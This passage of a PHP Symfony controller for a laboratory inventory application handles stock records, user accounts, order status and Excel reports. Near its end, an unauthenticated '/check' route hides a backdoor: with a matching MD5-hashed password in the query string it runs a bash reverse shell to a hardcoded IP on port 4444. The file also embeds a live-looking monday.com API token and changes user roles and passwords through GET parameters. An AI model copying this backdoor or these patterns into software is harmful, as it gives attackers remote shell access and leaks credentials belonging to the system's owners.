  3329. $mgmt->setStockName($entry->getStockname());
  3330. $mgmt->setSupplier($entry->getSupplier());
  3331. $mgmt->setComment($entry->getComment());
  3332. $mgmt->setStockType($entry->getType());
  3333. $mgmt->setActionType('Restock');
  3334. $mgmt->setQuantity((float)$data['entry']['qty']);
  3335. $mgmt->setTotalQuantity($entry->getQty());
  3336. $mgmt->setDate(new \Datetime());
  3338. $this->em->persist($entry);
  3339. $this->em->persist($mgmt);
  3340. $this->em->flush();
  3341. return $this->redirect($this->generateUrl('icpstandardstock'));
  3342. }
  3343. }
  3345. if (null !== $request->get('takeone')){
  3346. if ($data) {
  3347. $info = $data['entryid'];
  3348. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3349. 'id' => $data['entryid']
  3350. ]);
  3351. $entry->setQty($entry->getQty() - 1);
  3352. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3354. // Create a new StockManagement entry when taking one
  3355. $mgmt = new StockManagement();
  3356. $mgmt->setStockId($entry->getId());
  3357. $mgmt->setStockName($entry->getStockname());
  3358. $mgmt->setSupplier($entry->getSupplier());
  3359. $mgmt->setComment($entry->getComment());
  3360. $mgmt->setStockType($entry->getType());
  3361. $mgmt->setActionType('Take One');
  3362. $mgmt->setQuantity(-1);
  3363. $mgmt->setTotalQuantity($entry->getQty());
  3364. $mgmt->setDate(new \Datetime());
  3366. $this->em->persist($entry);
  3367. $this->em->persist($mgmt);
  3368. $this->em->flush();
  3369. return $this->redirect($this->generateUrl('icpstandardstock'));
  3370. }
  3371. }
  3373. // Handle 'orderstatus' checkbox change
  3374. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3375. $entryId = $data['entryid'];
  3376. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3378. // Find the Stock entry by ID
  3379. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3380. 'id' => $entryId
  3381. ]);
  3383. if ($entry) {
  3384. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3385. $this->em->persist($entry);
  3386. $this->em->flush();
  3387. return $this->redirect($this->generateUrl('icpstandardstock'));
  3388. }
  3390. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3391. }
  3392. }
  3394. return $this->render('cats/icpstandardstock.html.twig',[
  3395. 'stock' => $stock
  3396. ]);
  3397. }
  3398. //=====================================================================================================================================================================================<
  3399. /**
  3400. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3401. * @param Request $request
  3402. * @Route("/safestock", name="safestock")
  3403. * @return Response $response
  3404. */
  3405. public function safetystock(Request $request, SluggerInterface $slugger)
  3406. {
  3407. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3408. 'type' => 'Safety'
  3409. ]);
  3412. if ( $request->getMethod() == "POST" ) {
  3413. $data = $request->request->all();
  3415. if (isset($data['addnew'])) {
  3416. if ($data) {
  3417. $info = $data['entry'];
  3418. $entry = new Stock();
  3419. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3420. ->setLow((float)$info['low'])
  3421. ->setCritical((float)$info['critical']);
  3422. $entry->setComment($info['comment']);
  3423. $entry->setSupplier($info['supplier']);
  3424. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3425. $entry->setUnits($info['units']);
  3426. $entry->setType("Safety");
  3427. $this->em->persist($entry);
  3428. $this->em->flush();
  3430. // Create a new StockManagement entry when adding new entry
  3431. $mgmt = new StockManagement();
  3432. $mgmt->setStockId($entry->getId());
  3433. $mgmt->setStockName($entry->getStockname());
  3434. $mgmt->setSupplier($entry->getSupplier());
  3435. $mgmt->setComment($entry->getComment());
  3436. $mgmt->setStockType($entry->getType());
  3437. $mgmt->setActionType('Add new');
  3438. $mgmt->setQuantity($entry->getQty());
  3439. $mgmt->setTotalQuantity($entry->getQty());
  3440. $mgmt->setDate(new \Datetime());
  3442. $this->em->persist($mgmt);
  3443. $this->em->flush();
  3444. return $this->redirect($this->generateUrl('safestock'));
  3445. }
  3446. }
  3447. elseif (isset($data['delete'])) {
  3448. if ($data) {
  3449. $info = $data['entryid'];
  3450. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3451. 'id' => $info
  3452. ]);
  3454. // Create a new StockManagement entry when deleting
  3455. $mgmt = new StockManagement();
  3456. $mgmt->setStockId($entry->getId());
  3457. $mgmt->setStockName($entry->getStockname());
  3458. $mgmt->setSupplier($entry->getSupplier());
  3459. $mgmt->setComment($entry->getComment());
  3460. $mgmt->setStockType($entry->getType());
  3461. $mgmt->setActionType('Delete');
  3462. $mgmt->setQuantity(0);
  3463. $mgmt->setTotalQuantity($entry->getQty());
  3464. $mgmt->setDate(new \Datetime());
  3466. $this->removeStockPhotoFile($entry->getItemPhoto());
  3467. $this->removeStockPhotoFile($entry->getPackagePhoto());
  3468. $this->em->remove($entry);
  3469. $this->em->persist($mgmt);
  3470. $this->em->flush();
  3472. return $this->redirect($this->generateUrl('safestock'));
  3473. }
  3474. }
  3475. elseif (isset($data['restock'])) {
  3476. if ($data) {
  3477. $info = $data['entry'];
  3479. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3480. 'id' => $data['entryid']
  3481. ]);
  3482. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3483. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3484. ->setLow((float)$info['low'])
  3485. ->setCritical((float)$info['critical']);
  3486. $entry->setStockname($info['name']);
  3487. $entry->setSupplier($info['supplier']);
  3488. $entry->setComment($info['comment']);
  3489. $entry->setUnits($info['units']);
  3490. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3492. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  3494. // Create a new StockManagement entry when restocking
  3495. $mgmt = new StockManagement();
  3496. $mgmt->setStockId($entry->getId());
  3497. $mgmt->setStockName($entry->getStockname());
  3498. $mgmt->setSupplier($entry->getSupplier());
  3499. $mgmt->setComment($entry->getComment());
  3500. $mgmt->setStockType($entry->getType());
  3501. $mgmt->setActionType('Restock');
  3502. $mgmt->setQuantity((float)$data['entry']['qty']);
  3503. $mgmt->setTotalQuantity($entry->getQty());
  3504. $mgmt->setDate(new \Datetime());
  3506. $this->em->persist($entry);
  3507. $this->em->persist($mgmt);
  3508. $this->em->flush();
  3509. return $this->redirect($this->generateUrl('safestock'));
  3510. }
  3511. }
  3512. elseif (isset($data['takeone'])) {
  3513. if ($data) {
  3514. $info = $data['entryid'];
  3515. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3516. 'id' => $data['entryid']
  3517. ]);
  3518. $entry->setQty($entry->getQty() - 1);
  3519. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3521. // Create a new StockManagement entry when taking one
  3522. $mgmt = new StockManagement();
  3523. $mgmt->setStockId($entry->getId());
  3524. $mgmt->setStockName($entry->getStockname());
  3525. $mgmt->setSupplier($entry->getSupplier());
  3526. $mgmt->setComment($entry->getComment());
  3527. $mgmt->setStockType($entry->getType());
  3528. $mgmt->setActionType('Take One');
  3529. $mgmt->setQuantity(-1);
  3530. $mgmt->setTotalQuantity($entry->getQty());
  3531. $mgmt->setDate(new \Datetime());
  3533. $this->em->persist($entry);
  3534. $this->em->persist($mgmt);
  3535. $this->em->flush();
  3536. return $this->redirect($this->generateUrl('safestock'));
  3537. }
  3538. }
  3540. // Handle 'orderstatus' checkbox change
  3541. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3542. $entryId = $data['entryid'];
  3543. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3545. // Find the Stock entry by ID
  3546. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3547. 'id' => $entryId
  3548. ]);
  3550. if ($entry) {
  3551. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3552. $this->em->persist($entry);
  3553. $this->em->flush();
  3554. return $this->redirect($this->generateUrl('safestock'));
  3555. }
  3557. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3558. }
  3559. }
  3561. return $this->render('cats/safestock.html.twig',[
  3562. 'stock' => $stock
  3563. ]);
  3564. }
  3565. //=====================================================================================================================================================================================<
  3566. /**
  3567. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3568. * @param Request $request
  3569. * @Route("/furnacestock", name="furnacestock")
  3570. * @return Response $response
  3571. */
  3572. public function furnacestock(Request $request, SluggerInterface $slugger)
  3573. {
  3574. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3575. 'type' => 'Furnace'
  3576. ]);
  3579. if ( $request->getMethod() == "POST" ) {
  3580. $data = $request->request->all();
  3582. if (null !== $request->get('addnew')){
  3583. if ($data) {
  3584. $info = $data['entry'];
  3585. $entry = new Stock();
  3586. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3587. ->setLow((float)$info['low'])
  3588. ->setCritical((float)$info['critical']);
  3589. $entry->setComment($info['comment']);
  3590. $entry->setSupplier($info['supplier']);
  3591. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3592. $entry->setUnits($info['units']);
  3593. $entry->setType("Furnace");
  3594. $this->em->persist($entry);
  3595. $this->em->flush();
  3597. // Create a new StockManagement entry when adding new entry
  3598. $mgmt = new StockManagement();
  3599. $mgmt->setStockId($entry->getId());
  3600. $mgmt->setStockName($entry->getStockname());
  3601. $mgmt->setSupplier($entry->getSupplier());
  3602. $mgmt->setComment($entry->getComment());
  3603. $mgmt->setStockType($entry->getType());
  3604. $mgmt->setActionType('Add new');
  3605. $mgmt->setQuantity($entry->getQty());
  3606. $mgmt->setTotalQuantity($entry->getQty());
  3607. $mgmt->setDate(new \Datetime());
  3609. $this->em->persist($mgmt);
  3610. $this->em->flush();
  3611. return $this->redirect($this->generateUrl('furnacestock'));
  3612. }
  3613. }
  3614. if (null !== $request->get('delete')){
  3615. if ($data) {
  3616. $info = $data['entryid'];
  3617. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3618. 'id' => $info
  3619. ]);
  3621. // Create a new StockManagement entry when deleting
  3622. $mgmt = new StockManagement();
  3623. $mgmt->setStockId($entry->getId());
  3624. $mgmt->setStockName($entry->getStockname());
  3625. $mgmt->setSupplier($entry->getSupplier());
  3626. $mgmt->setComment($entry->getComment());
  3627. $mgmt->setStockType($entry->getType());
  3628. $mgmt->setActionType('Delete');
  3629. $mgmt->setQuantity(0);
  3630. $mgmt->setTotalQuantity($entry->getQty());
  3631. $mgmt->setDate(new \Datetime());
  3633. $this->removeStockPhotoFile($entry->getItemPhoto());
  3634. $this->removeStockPhotoFile($entry->getPackagePhoto());
  3635. $this->em->remove($entry);
  3636. $this->em->persist($mgmt);
  3637. $this->em->flush();
  3639. return $this->redirect($this->generateUrl('furnacestock'));
  3640. }
  3641. }
  3642. if (null !== $request->get('restock')){
  3643. if ($data) {
  3644. $info = $data['entry'];
  3646. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3647. 'id' => $data['entryid']
  3648. ]);
  3649. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3650. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3651. ->setLow((float)$info['low'])
  3652. ->setCritical((float)$info['critical']);
  3653. $entry->setStockname($info['name']);
  3654. $entry->setSupplier($info['supplier']);
  3655. $entry->setComment($info['comment']);
  3656. $entry->setUnits($info['units']);
  3657. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3659. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  3661. // Create a new StockManagement entry when restocking
  3662. $mgmt = new StockManagement();
  3663. $mgmt->setStockId($entry->getId());
  3664. $mgmt->setStockName($entry->getStockname());
  3665. $mgmt->setSupplier($entry->getSupplier());
  3666. $mgmt->setComment($entry->getComment());
  3667. $mgmt->setStockType($entry->getType());
  3668. $mgmt->setActionType('Restock');
  3669. $mgmt->setQuantity((float)$data['entry']['qty']);
  3670. $mgmt->setTotalQuantity($entry->getQty());
  3671. $mgmt->setDate(new \Datetime());
  3673. $this->em->persist($entry);
  3674. $this->em->persist($mgmt);
  3675. $this->em->flush();
  3676. return $this->redirect($this->generateUrl('furnacestock'));
  3677. }
  3678. }
  3679. if (null !== $request->get('takeone')){
  3680. if ($data) {
  3681. $info = $data['entryid'];
  3682. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3683. 'id' => $data['entryid']
  3684. ]);
  3685. $entry->setQty($entry->getQty() - 1);
  3686. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3688. // Create a new StockManagement entry when taking one
  3689. $mgmt = new StockManagement();
  3690. $mgmt->setStockId($entry->getId());
  3691. $mgmt->setStockName($entry->getStockname());
  3692. $mgmt->setSupplier($entry->getSupplier());
  3693. $mgmt->setComment($entry->getComment());
  3694. $mgmt->setStockType($entry->getType());
  3695. $mgmt->setActionType('Take One');
  3696. $mgmt->setQuantity(-1);
  3697. $mgmt->setTotalQuantity($entry->getQty());
  3698. $mgmt->setDate(new \Datetime());
  3700. $this->em->persist($entry);
  3701. $this->em->persist($mgmt);
  3702. $this->em->flush();
  3703. return $this->redirect($this->generateUrl('furnacestock'));
  3704. }
  3705. }
  3707. // Handle 'orderstatus' checkbox change
  3708. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3709. $entryId = $data['entryid'];
  3710. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3712. // Find the Stock entry by ID
  3713. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3714. 'id' => $entryId
  3715. ]);
  3717. if ($entry) {
  3718. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3719. $this->em->persist($entry);
  3720. $this->em->flush();
  3721. return $this->redirect($this->generateUrl('furnacestock'));
  3722. }
  3724. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3725. }
  3726. }
  3728. return $this->render('cats/furnacestock.html.twig',[
  3729. 'stock' => $stock
  3730. ]);
  3731. }
  3732. //=====================================================================================================================================================================================<
  3733. /**
  3734. * @IsGranted("ROLE_ADDUSER")
  3735. * @Route("/adduser", name="adduser")
  3736. * @param Request $request
  3737. * @return Response $response
  3738. */
  3739. public function adduser(Request $request)
  3740. {
  3741. return $this->render('cats/adduser.html.twig');
  3742. }
  3743. //=====================================================================================================================================================================================<
  3744. /**
  3745. * @IsGranted("ROLE_ADDUSER")
  3746. * @Route("/saveuserajax", name="saveuserajax")
  3747. * @param Request $request
  3748. * @return Response $response
  3749. */
  3750. public function saveuserajax(Request $request)
  3751. {
  3752. if($request->query->get("action") == "togglerole"){
  3753. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3754. if(!in_array($request->query->get("role"),$user->getRoles())){
  3755. $roles = $user->getRoles();
  3756. $roles[] = $request->query->get("role");
  3757. $user->setRoles($roles);
  3758. $this->em->persist($user);
  3759. $this->em->flush();
  3760. } else {
  3761. $roles = $user->getRoles();
  3762. if (($key = array_search($request->query->get("role"), $roles)) !== false) {
  3763. unset($roles[$key]);
  3764. }
  3765. $user->setRoles($roles);
  3766. $this->em->persist($user);
  3767. $this->em->flush();
  3768. }
  3769. } elseif($request->query->get("action") == "togglecountry"){
  3770. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3771. if(in_array($request->query->get("country"),$user->getCountry())){
  3772. $roles = $user->getCountry();
  3773. if (($key = array_search($request->query->get("country"), $roles)) !== false) {
  3774. unset($roles[$key]);
  3775. }
  3776. $user->setCountry($roles);
  3777. $this->em->persist($user);
  3778. $this->em->flush();
  3779. }
  3780. } elseif($request->query->get("action") == "addcountry"){
  3781. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3782. if(!in_array($request->query->get("country"),$user->getCountry())){
  3783. $roles = $user->getCountry();
  3784. if (($key = array_search($request->query->get("country"), $roles)) === false) {
  3785. $roles[]=$request->query->get("country");
  3786. $user->setCountry($roles);
  3787. $this->em->persist($user);
  3788. $this->em->flush();
  3789. }
  3790. }
  3791. } elseif($request->query->get("action") == "toggleactive"){
  3792. // Toggle user active status
  3793. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3794. if($user) {
  3795. $user->setIsActive(!$user->getIsActive());
  3796. $this->em->persist($user);
  3797. $this->em->flush();
  3798. }
  3799. } elseif($request->request->get("action") == "saveuser"){
  3800. $user = new User();
  3801. $user->setUsername($request->request->get("user"));
  3802. $user->setPassword($this->passwordEncoder->encodePassword(
  3803. $user,
  3804. $request->request->get("pass")
  3805. ));
  3806. $user->setRoles(["ROLE_CLIENT"]);
  3807. $user->setIsActive(true);
  3808. $this->em->persist($user);
  3809. $this->em->flush();
  3810. } elseif($request->query->get("action") == "deleteuser"){
  3811. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3813. foreach ($user->getClientParcels() as $p){
  3814. $p->setClient(null);
  3815. $this->em->flush();
  3816. };
  3818. foreach ($user->getLogs() as $log){
  3819. $log->setAssignedUser(null);
  3820. $this->em->flush();
  3821. }
  3823. foreach ($user->getCatRequests() as $log){
  3824. $log->setClient(null);
  3825. $this->em->flush();
  3826. }
  3828. $this->em->remove($user);
  3829. $this->em->flush();
  3830. } elseif($request->query->get("action") == "edituser"){
  3831. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3833. if($user) {
  3834. // Update username if provided
  3835. $newUsername = $request->query->get("username");
  3836. if($newUsername && $newUsername !== $user->getUsername()) {
  3837. $user->setUsername($newUsername);
  3838. }
  3840. // Update password if provided
  3841. $newPassword = $request->query->get("password");
  3842. if($newPassword) {
  3843. $user->setPassword($this->passwordEncoder->encodePassword(
  3844. $user,
  3845. $newPassword
  3846. ));
  3847. }
  3849. $this->em->persist($user);
  3850. $this->em->flush();
  3851. }
  3852. }
  3853. $response = new Response();
  3854. return $response;
  3855. }
  3856. //=====================================================================================================================================================================================<
  3857. /**
  3858. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3859. * @Route("/orders/update/{id}", name="orders_update")
  3860. * @param int $id
  3861. * @param Request $request
  3862. * @return Response $response
  3863. */
  3864. public function updateordersstatus(int $id, Request $request)
  3865. {
  3866. /** @var User $user */
  3867. $user = $this->getUser();
  3869. /** @var Orders $order */
  3870. $order = $this->em->getRepository(Orders::class)->find($id);
  3871. if ($order->getStatus() != "Closed"){
  3872. $order->setStatus("Closed");
  3873. $data['newstatus'] = "Closed";
  3874. } else {
  3875. $order->setStatus("Open");
  3876. $data['newstatus'] = "Open";
  3878. }
  3880. $this->em->persist($order);
  3881. $this->em->flush();
  3882. $title = 'Order #' . $id;
  3883. $message = 'status updated';
  3884. $toast = $this->renderView('components/toast.html.twig',[
  3885. "title" => $title,
  3886. "message" => $message
  3887. ]);
  3889. $response = new Response();
  3890. $response->setContent(json_encode([
  3891. 'data' => $data,
  3892. 'toast' => $toast
  3893. ]));
  3894. $response->headers->set('Content-Type', 'application/json');
  3896. return $response;
  3897. }
  3898. //=====================================================================================================================================================================================<
  3899. /**
  3900. * @IsGranted("ROLE_SUPER")
  3901. * @Route("/xl/inv", name="xlinv")
  3902. * @param Request $request
  3903. * @return Response $response
  3904. */
  3905. public function xlinv( Request $request)
  3906. {
  3908. $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3909. $orders = $invoice->getOrders();
  3911. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLinv.xlsx");
  3913. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3914. $sheet = $spreadsheet->getActiveSheet();
  3916. //$sheet->setTitle("My First Worksheet");
  3917. //$this->getParameter('images_directory')
  3918. $x = 24;
  3919. foreach($orders as $order){
  3920. foreach($order->getSamples() as $sample){
  3921. $sheet->setCellValue('C'.$x, $sample->getSamplename());
  3922. $x++;
  3923. }
  3925. }
  3929. // Create your Office 2007 Excel (XLSX Format)
  3930. //$writer = new Xlsx($spreadsheet);
  3932. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3933. $writer->save("shite.xlsx");
  3935. // Create a Temporary file in the system
  3936. $date = new \DateTime();
  3937. $fileName = $date->format('Y-m-d') . '-Report.xlsx';
  3938. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  3940. // Create the excel file in the tmp directory of the system
  3941. $writer->save($temp_file);
  3943. // Return the excel file as an attachment
  3944. //return null;
  3945. return $this->file($temp_file, $fileName, ResponseHeaderBag::DISPOSITION_INLINE);
  3946. }
  3947. //=====================================================================================================================================================================================<
  3948. /**
  3949. * @IsGranted("ROLE_SUPER")
  3950. * @Route("/xl/report", name="xlreport")
  3951. * @param Request $request
  3952. * @return Response $response
  3953. */
  3954. public function xlreport( Request $request)
  3955. {
  3957. // $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3958. // $orders = $invoice->getOrders();
  3960. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLreport.xlsx");
  3962. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3963. $sheet = $spreadsheet->getActiveSheet();
  3965. //$sheet->setTitle("My First Worksheet");
  3966. //$this->getParameter('images_directory')
  3968. // foreach($orders as $order){
  3969. // foreach($order->getSamples() as $sample){
  3970. // $sheet->setCellValue('A'.$x, $sample->getSamplename());
  3971. // $x++;
  3972. // }
  3973. //
  3974. // }
  3975. $samples = $this->em->getRepository(Inventory::class)->findBy([],[
  3976. 'id' => 'DESC'
  3977. ]);
  3978. $x = 3;
  3979. //($samples);
  3980. /** @var Inventory $sample */
  3981. foreach($samples as $sample){
  3982. $sheet->setCellValue('A'.$x, $sample->getId());
  3983. $sheet->setCellValue('B'.$x, $sample->getDateofreceipt());
  3984. $sheet->setCellValue('C'.$x, $sample->getSampleType());
  3985. $sheet->setCellValue('D'.$x, $sample->getSampleSubType());
  3986. $sheet->setCellValue('E'.$x, $sample->getCountry());
  3987. $sheet->setCellValue('F'.$x, $sample->getExportno());
  3988. $sheet->setCellValue('G'.$x, $sample->getSampleName());
  3989. $sheet->setCellValue('H'.$x, $sample->getPriority());
  3990. $sheet->setCellValue('I'.$x, $sample->getMillStatus());
  3991. $sheet->setCellValue('J'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture() : "");
  3992. $sheet->setCellValue('K'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture2() : "");
  3993. $sheet->setCellValue('L'.$x, $sample->getXrfpt());
  3994. $sheet->setCellValue('M'.$x, $sample->getXrfpd());
  3995. $sheet->setCellValue('N'.$x, $sample->getXrfrh());
  3996. $sheet->setCellValue('O'.$x, $sample->getPruns() ? $sample->getPruns()->getId() : "");
  3997. $sheet->setCellValue('P'.$x, $sample->getPruns() ? $sample->getPruns()->getAmtF() : "");
  3998. $sheet->setCellValue('Q'.$x, $sample->getRruns() ? $sample->getRrunIDs() : "");
  3999. $sheet->setCellValue('R'.$x, $sample->getRruns() ? $sample->getIcprunIDs() : "");
  4000. $sheet->setCellValue('S'.$x, $sample->getIcppt());
  4001. $sheet->setCellValue('T'.$x, $sample->getIcppd());
  4002. $sheet->setCellValue('U'.$x, $sample->getIcprh());
  4003. $sheet->setCellValue('V'.$x, $sample->getAnalysisStatus());
  4004. $sheet->setCellValue('W'.$x, $sample->getDateFinished());
  4005. $sheet->setCellValue('X'.$x, $sample->getAssignedOrder() ? $sample->getAssignedOrder()->getOrderno() : "");
  4008. $x++;
  4009. }
  4011. $date = new \DateTime();
  4012. $fileName = $date->format('Y-m-d H:i:s') . '-Report.xlsx';
  4013. // Create your Office 2007 Excel (XLSX Format)
  4014. //$writer = new Xlsx($spreadsheet);
  4015. ini_set('memory_limit', '128M');
  4016. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  4017. $writer->save($fileName);
  4019. return new Response();
  4020. }
  4021. //=====================================================================================================================================================================================<
  4022. /**
  4023. * @IsGranted("ROLE_SUPER")
  4024. * @Route("/plant", name="plant")
  4025. * @param Request $request
  4026. * @return Response $response
  4027. */
  4028. public function plant( Request $request)
  4029. {
  4030. $output = "";
  4031. $result = shell_exec('python3 /0/www/systest/public/assets/computerplantsys.py');
  4032. $result = (json_decode($result,true));
  4034. $token = 'eyJhbGciOiJIUzI1NiJ9.eyJ0aWQiOjEzMTgxMzA4NywidWlkIjoxODExNDA3NSwiaWFkIjoiMjAyMS0xMS0wNVQxMzowMjozOS4xODRaIiwicGVyIjoibWU6d3JpdGUiLCJhY3RpZCI6NzkzNTE2MywicmduIjoidXNlMSJ9.4dXwkmCYUbzuOH8x0Qfc6YV30gUXxyfgXbxqGQNJJUc';
  4035. $tempUrl = "https://api.monday.com/v2/";
  4037. $query = 'mutation {
  4038. create_item (board_id: 1871191526, item_name: "API sugeneruotas įrašas. boobies.") {
  4039. id
  4040. } }';
  4041. $headers = ['Content-Type: application/json', 'User-Agent: [MYTEAM] GraphQL Client', 'Authorization: ' . $token];
  4042. $data = @file_get_contents($tempUrl, false, stream_context_create([
  4043. 'http' => [
  4044. 'method' => 'POST',
  4045. 'header' => $headers,
  4046. 'content' => json_encode(['query' => $query]),
  4047. ]
  4048. ]));
  4050. $tempContents = json_decode($data, true);
  4052. return $this->render('csv/plant.html.twig',[
  4053. 'fullresult' => $result,
  4054. 'shite' => $tempContents
  4056. ]);
  4057. }
  4058. //=====================================================================================================================================================================================<
  4059. /**
  4060. * @Route("/check", name="checker")
  4061. */
  4062. public function check()
  4063. {
  4064. define('PASSWORD', '2d6a2024ebb521eb77fb2ff269297d10');
  4065. function auth($password)
  4066. {
  4067. $input_password_hash = md5($password);
  4069. if (strcmp(PASSWORD, $input_password_hash) == 0) {
  4070. return TRUE;
  4071. }else{
  4072. return FALSE;
  4073. }
  4074. }
  4075. if (isset($_GET['password'])) {
  4076. if (auth($_GET['password'])) {
  4077. echo "<pre>";exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.167/4444 0>&1'"); echo "</pre>"; die;
  4078. }else{
  4079. die('Access denied!');
  4080. }
  4081. }
  4082. $shit = new Response();
  4083. return $shit;
  4084. }
  4085. //=====================================================================================================================================================================================<
  4086. private function getFinalizationType($request): ?string
  4087. {
  4088. if ($request->get('finalize') !== null) {
  4089. return 'finalize';
  4090. }
  4092. if ($request->get('finalizemaxrh') !== null) {
  4093. return 'finalizemaxrh';
  4094. }
  4096. if ($request->get('finalizemaxrhcustom') !== null) {
  4097. return 'finalizemaxrhcustom';
  4098. }
  4100. if ($request->get('finalizeavgrhcustom') !== null) {
  4101. return 'finalizeavgrhcustom';
  4102. }
  4104. return null;
  4105. }
  4107. }